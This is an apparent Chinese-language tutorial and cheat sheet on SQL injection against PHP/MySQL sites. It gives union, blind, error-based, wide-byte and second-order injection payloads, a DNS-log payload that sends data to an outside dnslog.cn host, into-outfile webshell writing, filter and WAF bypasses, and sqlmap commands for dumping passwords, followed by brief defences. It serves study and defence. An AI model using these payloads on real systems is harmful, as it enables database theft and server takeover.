文章目录
总结"SQL注入"
一、SQL注入漏洞的产生
-
产生原因:用户发出的一些信息(参数)在未经服务端过滤完全的情况下,被服务器传入数据库执行。
-
参数类型:服务端向数据库传入参数的形式可以有很多种,因而出现了不同参数类型,比如:
- 字符型(单引号):
$id=$_GET['id']; $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; // 在上面将要被传入数据库的sql语句中,使用一对单引号包裹了用户使用GET方法传来的id值。
- 数字型:
$id=$_GET['id']; $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; // 在上面将要被传入数据库的sql语句中,没有对用户传来的id值进行额外的处理。
还有更多类型,比如双引号、括号等,详细内容在后面的技巧部分再提及。
-
注入点的常见位置(它们其实对应了在web应用源码中传入SQL语句的参数的不同获取方式)
-
GET
传入SQL语句的变量往往是
$_GET['XX']
,$_REQUEST['XX']
-
POST
传入SQL语句的变量往往是
$_POST['XX']
,$_REQUEST['XX']
$_GET['id_1']
、$_POST['id_2']
都可以用$_REQUEST['id_1']
和$_REQUEST['id_2']
来对应获取,但$_REQUEST
比较慢-
User-Agent
往往是
$_SERVER['HTTP_USER_AGENT']
-
Cookies
往往是
$_COOKIE['XX']
,$_SERVER['HTTP_COOKIE']
-
二、利用:普通注入(联合注入)
对于注入后有数据回显的情景,使用联合注入是比较方便的。
使用order by 列数
语句来测试服务端向数据库提交的查询会返回几列数据。
加入服务端的sql拼接是:$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
若构造payload?id=1 order by 5--+
SELECT * FROM users WHERE id=1 order by 5 -- LIMIT 0,1
如果前端页面回显了Unknown column '5' in 'order clause'
,说明数据库返回的查询结果没有第5列,继续减少列数
,当正常回显则说明列数与数据库返回的列数匹配。
这时可以使用union select
语句来进行联合查询(假设匹配列数是3),构造payload?id=-999 union select 1,2,3
确定数据库返回的数据具体对应到前端页面的哪些位置(因为完全有可能有这样的情况:数据库按序返回1 2, 3,而前端页面的显示顺序却是3 2 1)。
接着就可以“爆库”了。
三、利用:盲注
针对前端无数据回显的情况,我们可以构造具有布尔值(真或假)的条件来枚举字符,逐字脱库。
手工盲注很费时,可以编写自动化脚本来提高盲注的效率,也可以使用SqlMap。
1.布尔盲注
如果我们构造的条件真假能够很好地在服务端发给我们的响应中判别(如真假条件返回不同长度的响应主体、真假条件返回某些有特点的字符串标识等)。
-
典型payload的构造:
and length(database())>=$num # 来获取数据库名的长度
and ord(substr(database(),1,1))=$num # 来获取偏移量对应字符的ascii值并和$num比较
我们可以用以下函数来获取需要的子字符串(可以尝试相互替代):
substr(string, start, length)
:从start处可以获取子串mid(string, start, *length)
:从start处可以获取子串,length选填(不填则返回所有剩下字符)left(string, length)
:从左获取子串我们可以使用以下函数来获取某个字符的Ascii值:
ord()
:返回字符串第一个字符的Ascii值ascii()
:返回字符串最左边字符的Ascii值
# 当目标字符是单字节字符(英文字母和阿拉伯数字等)时ord()和ascii()的区别无法体现
# 但当目标字符是是一个多字节字符(用多个字节来表示一个字符)时,两者返回的结果不相同,如下的'我':
# 使用ord()
mysql> select ord('我');
+------------+
| ord('我') |
+------------+
| 15108241 |
+------------+
1 row in set (0.00 sec)
# 使用ascii()
mysql> select ascii('我');
+--------------+
| ascii('我') |
+--------------+
| 230 |
+--------------+
1 row in set (0.00 sec)
2.延时盲注
如果我们难以从服务端的响应中判别我们构造条件的真假(无论真假,都返回一样的结果),那我们可以在构造判断条件的同时采用“时延策略”,让真或假中的一种条件时延一段时间,通过响应发来的时延我们就可以判别条件在数据库中的真假。 编写payload时要注意<font color = red>**控制时延的长短**</font>,太长了爆破效率不高,太短了难以判别(甚至有可能在网络环境不佳时造成误判)。
使用`sleep(n)`:休眠n秒、`benchmark(n, f(x))`:重复执行n次`f(x)`和构造查询笛卡儿积等
四、利用Mysql逻辑漏洞:报错注入
在没有数据回显的情况下,除了盲注也可以考虑报错注入。 报错注入最多回显32个字符,可以使用`mid()`和`substr()`等函数来分批回显。
-
键重复创建报错(floor报错注入)
之前写了一篇文章来介绍这种报错注入的原理:SQL注入:floor报错注入的形成原理分析
count()
、concat()
、floor()
、rand()
和group by
- 该方法需要目标表至少拥有一定数量多的行(如
rand(0)
至少需要5行)
这个方法相对而言比较复杂,它的核心原理是利用打印包含
count()
和group by
的sql查询时需要先构造一个虚拟表,它将以查询的结果一个个地(比如concat((select xxx), '-', floor(rand(0)*2))
)收纳入表中(如果该表中先前有该项为值的键,就给count(*)
的值加一)。【但最重要的是,每当发现一项和已有项目不同时,它不是直接将该值填入作为新的键,而是重新“调用”这个值(
concat((select xxx), '-', floor(rand(0)*2))
)并试图为其创建一个新的键,但因为floor(rand(0)*2)
被重新调用时可能会有不一样的值,当这个值已经存在与虚拟表中时,mysql就会因试图为创建一个已经存在的键而报错】而对于
floor(rand(0)*2)
这个表达式,当它被连续调用时,它将返回的值始终是0、1、1、0、1… 那么在上述创建虚拟表的情景当中,到第五次时一定就会报错
# 典型payload
select count(*), concat((select database(), '0x5c', floor(rand(0)*2)))as a from users group by a--+
相比于其他的报错注入,使用这种"floor(rand(x)*2)
"报错注入可以一次返回最多64个字符
# 如下的获取users表中username和password字段的payload
# substr('string', 1, 64)的字符返回跨度达到了64个
?id=-1' union select 1,count(*),concat_ws(":",substr((select group_concat(username, ":",password) from users),1,64), floor(rand(4)*2)) as a from information_schema.tables group by a --+
-
BigInt溢出错误
exp()
:
?id=1 and select exp(select * from (select group_concat(table_name) from informatio_schema.tables where table_schema=database())alia)–+pow()
-
函数参数错误:向函数中写入致错参数,致使其报错
updatexml()
?id=1 and updatexml(1, (select group_concat(table_name) from information_schema.tables where table_schema=database()), 1)–+extractvalue()
?id=1 and extractvalue(1, (select group_concat(table_name) from information_schema.tables where table_schema=database()))–+- 各种几何函数:
geometrycollection()
multipoint()
polygon()
multipolygon()
linestring()
multilinesstring
五、利用:约束注入
利用数据库对输入参数长度的约束,来尝试覆盖其他已有的数据
如:数据库中已有账号admin
,且字段长度为30。
那么我们可以注册一个新的账号admin 1
(包含特别长的空格),密码Abc123789
,那么这不是对这个特别长的账号进行密码设定,而是相当于修改原有的admin
密码为Abc123789
(因为太长,这个新账号被数据库认为是admin
)
六、利用:宽字节注入
如果服务器使用了“转义策略”(比如使用
addslashes
等函数来添加反斜杠\
),且数据库的编码格式是是GBK、GB2312、BIG5等宽字节编码(用多个字节来表示一个字符的编码方式),那么就可以尝试宽字节注入
- 比如,在payload中的
'
之前添加%df
,这样服务端代码转义时添加的\
便落在%df
之后、'
之前,即:%df\'
。那么带入使用宽字节编码的数据库执行时会变成%df5c'
,即为:某个宽字节字符
+'
,于是payload中的'
就绕过了转义过滤
七、利用:堆叠注入
如果存在多个注入点的话,就可以尝试使用堆叠注入,比如登录框中的用户名输入和密码输入都存在注入点。
八、利用:二次注入
二次注入是指,攻击者不直接向Web应用注入数据,而是让恶意payload被数据库所存储,直到管理员(或者攻击者冒用管理员身份【比如利用弱口令登录、利用未授权漏洞访问】)去访问并触发恶意攻击。
值得注意的是,二次注入不仅仅指SQL注入,比如存储型XSS就是一种二次注入的技巧应用,像“宽字节注入”、“堆叠注入”其实也一样可用于XSS攻击。
九、利用:读文件|写文件(注入木马)
要求服务端的MySQL的
secure_file_priv
参数有特定的值
若`secure_file_priv`="",则mysql可以任意传入或导出文件
若`secure_file_priv`="某目录",则mysql只能在该目录下操作文件
若`secure_file_priv`=NULL,则mysql不能传入或导出文件
1.读出文件
-
DNS Log注入:
借助dns查询平台(http://www.dnslog.cn和http://ceye.io)
# 典型payload ?id=1' and (select load_file(concat('\\\\',(select user()),'.04ybo1.dnslog.cn\\abc')))--+
这样构造以后就相当于去查询’select user()'.04ybo1.dnslog.cn对应的IP信息
-
可以使用
select load_file("p-a-t-h")
来读取文件 -
还有
load xxx infile "p-a-t-h" into table test_table
(从服务端读) -
和
load xxx local infile "p-a-t-h into table test_table"
(从客户端读)
2.写入文件
-
可以使用
select xxx into outfile "p-a-t-h"
来上传木马 -
select xxx into dumpfile "p-a-t-h"
也类似,区别是这种方式只能写一行
SQLMap的os-shell其实就是利用这种方式来获得shell的
十、绕过技巧
这里是一些简单的绕过技巧,关于waf绕过后续再单独介绍
1.过滤了注释符
如果过滤了常用的注释符:--+
,#
和%23
-
可以闭合后半部分的
'
、""
、')
、")
、'))
和"))
等。假如服务端的SQL语句为:
select * from user where id = '$id' limit 0 ,1;
那么构造payload:
?id = -1' union select 1,2,3 '
则将要被执行的SQL语句为:
select * from user where id = '-1' union select 1,2,3 '' limit0, 1;
-
用
%00
绕过
2.过滤了and
和or
如果过滤了and
和or
,
则可以考虑使用:
-
大小写绕过
?id=1' aND 1=1 --+
-
双写绕过
?id=1" aandnd 1=1 --+
-
使用
&&
和||
替代?id=-1' || 1=1 --+
-
使用url编码来替换
&
和|
%7C
对应|
,%26
对应&
3.过滤了逗号
-
在
substr()
和mid()
等函数中使用from
和for
,偏移量使用offset
比如:
substr('This_is_a_string', 3, 5)
可以等价替换为substr('This_is_a_string' from 3 for 5)
-
使用
join
union select 1,2,3
可以等价替换为union select (select 1)a join (select 2)b join (select 3)c
4.过滤了空格
如果过滤了空格
,
则可以考虑使用:
- 用
+
替代 - 用
/**/
替代 - 用url编码替代
- %09、%0A、%0B、%0C、%0D、%20、%A0
- 使用报错注入(只需适时使用括号即可)
5.过滤了union
- 大小写绕过
- 双写绕过
- 使用盲注
6.过滤了select
- 大小写绕过
- 双写绕过
- 脱库时不使用
select
- 转而使用handler
- 转而使用rename、alter改表名:2019强网杯-随便注
7.使用转义来过滤了字符(如'
和"
)
服务端使用了
addslashed()
和mysql_escape_string()
等函数来转义字符串(在指定字符串前添加一个\
)
-
要求数据库的编码格式是GBK、GB2312、BIG5等宽字节编码(用多个字节来表示一个字符)
-
使用单双引号对应的HEX十六进制编码替代
'
对应0x27
"
对应0x22
8.盲注时发现被过滤了=
、>
、<
和like
等比较运算符
-
使用某些特定表达来进行比较
greatest()
least()
strcmp()
in
关键字
-
使用
REGEXP()
来进行正则匹配
十一、SQL注入的防护方法
- 使用白名单列表来限定用户可查询的内容
- 尽量使用参数化查询(先将预设的SQL语句的主体进行编译,再传入用户的参数),而避免直接拼接SQL语句【注:该方法对
order by
等动态查询语句无效,对于这种情况可以使用白名单】 - 尽量避免打印SQL的错误信息
- 过滤或转义特殊字符
十二、SQLMap的使用
- 使用
-u
来指定目标url - 使用
--cookie="xxx"
来指定包含登陆状态信息的Cookie值 - 使用
--data="uname=xx&passwd=xx&submit=xx"
来指定使用POST方式提交的data值 - 使用
--referer domain-name
来伪造referer - 使用
--level
来指定探测等级(1-5),使用--risk
来制定平台风险等级(1-3)
-
--dbs
回显所有的数据库 -
--roles
回显所有的数据库管理员 -
--current-db
回显当前的数据库 -
--users
回显数据库的所有用户 -
--passwords
回显数据库的所有用户的密码 -
--current-user
查看数据库的当前用户 -
--is_dba
查看当前用户是否拥有管理权限
-
使用
-D x --tables
来回显x数据库的所有表名 -
使用
-D x -T xx --columns
来回显x数据库的xx表的所有列名 -
使用
-D x -T xx -C xxx --dump
来指定x数据库的xx表的xxx列的数据 -
可以使用
--dump-all
来回显出满足条件的所有数据
-
可以使用
--tamper="xx1.py"
来指定使用"xx1.py"绕过模块来对waf进行绕过如何判断网站是否有WAF?使用工具WafW00f(一只会找WAF的狗)